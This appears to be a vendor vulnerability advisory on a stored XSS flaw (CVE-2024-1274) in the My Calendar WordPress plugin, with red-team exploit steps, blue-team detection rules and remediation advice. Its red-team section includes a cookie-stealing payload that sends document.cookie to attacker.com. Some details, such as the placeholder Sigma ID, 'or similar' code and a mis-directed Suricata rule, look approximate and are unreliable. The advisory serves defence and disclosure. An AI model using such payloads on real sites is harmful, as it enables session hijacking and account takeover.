CVE-2024-1274
Executive Summary
CVE-2024-1274 is a Stored Cross-Site Scripting (XSS) vulnerability in the My Calendar WordPress plugin, affecting versions prior to 3.4.24. The plugin fails to properly sanitize and escape certain parameters, allowing authenticated users with a role as low as Subscriber to inject arbitrary web scripts or HTML. These scripts execute in the context of the victim's browser when they view the affected calendar page. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Given the low privileges required and the potential for session hijacking or defacement, this poses a significant risk to WordPress sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 3.4.24 or later, as earlier versions are unpatched. No known supply chain compromise has been reported, but the lack of input sanitization indicates a failure in secure coding practices during development.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – Subscriber role
- User Interaction: Required (UI:R) – Victim must view the crafted page
- Scope: Changed (S:C) – Impact may extend to other components
- Confidentiality Impact: Low (C:L) – Limited data exposure
- Integrity Impact: Low (I:L) – Limited content modification
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the low privilege requirement and ease of exploitation make it a practical attack vector for social engineering campaigns targeting site administrators or users.
Deep Dive & Mechanics
The vulnerability resides in the My Calendar plugin's handling of user-supplied input when creating or editing calendar events. The plugin fails to sanitize and escape parameters such as event titles, descriptions, or custom fields before rendering them in the browser. An attacker with Subscriber-level access can inject malicious JavaScript payloads into these fields. When an administrator or other user views the calendar, the payload executes, potentially leading to:
- Session cookie theft
- Redirection to malicious sites
- Defacement of the calendar page
- Privilege escalation if the victim is an admin
The attack flow:
- Attacker logs in as a Subscriber.
- Attacker creates a new calendar event with a malicious payload in a vulnerable parameter (e.g.,
event_title). - The payload is stored in the WordPress database without sanitization.
- When an admin views the calendar, the payload executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (pre-3.4.24):
// In my-calendar.php or similar
echo '<div class="mc-event-title">' . $event->event_title . '</div>';
The $event->event_title is output directly without escaping.
Patched Code (3.4.24+):
// Properly escaped
echo '<div class="mc-event-title">' . esc_html( $event->event_title ) . '</div>';
The esc_html() function ensures HTML entities are encoded, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with My Calendar plugin < 3.4.24
- Subscriber-level account credentials
Exploit Steps:
- Log in as a Subscriber.
- Navigate to "My Calendar" > "Add Event".
- In the "Event Title" field, inject the following payload:
<script>alert('XSS')</script> - Save the event.
- As an admin, view the calendar page. The script executes.
Advanced Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual event creation by low-privilege users.
- Look for HTML/JavaScript in event fields via database queries:
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
Hardening:
- Upgrade to My Calendar 3.4.24 immediately.
- Implement Web Application Firewall (WAF) rules to block XSS patterns.
- Enforce Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin-ajax.phpwith suspicious event data containing<script>tags. - Host: Database entries in
wp_postmetaor custom plugin tables with unescaped HTML/JavaScript. - Logs: WordPress debug logs showing failed sanitization attempts or unusual event creation timestamps.
- File: Modified plugin files (if attacker gains write access) – check file integrity of
/wp-content/plugins/my-calendar/.
Detection Engineering
YARA Rule
rule CVE_2024_1274_MyCalendar_XSS {
meta:
description = "Detects My Calendar plugin files with unescaped output vulnerable to XSS"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1274"
strings:
$unescaped = /echo\s+['\"].*['\"]\s*\.\s*\$event->/ nocase
$safe = /esc_html\(/ nocase
condition:
$unescaped and not $safe
}
Sigma Rule
title: CVE-2024-1274 My Calendar XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts via My Calendar event creation
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-method: 'POST'
sc-status: 200
cs-uri-query|contains: 'action=mc_save_event'
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of HTML in event descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1274 My Calendar XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mc_save_event"; http_client_body; content:"<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the My Calendar plugin to version 3.4.24 or later via WordPress admin dashboard.
- Verify the update by checking the plugin version in
/wp-content/plugins/my-calendar/readme.txt. - Audit existing events for malicious content using the SQL query in the Blue Team section.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce strict Content Security Policy (CSP) headers.
- Conduct regular security audits of all WordPress plugins.
- Educate users on the risks of clicking suspicious calendar events.
Workaround (if upgrade is not possible):
- Disable the My Calendar plugin until an upgrade can be performed.
- Restrict Subscriber roles from creating events via custom capabilities.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.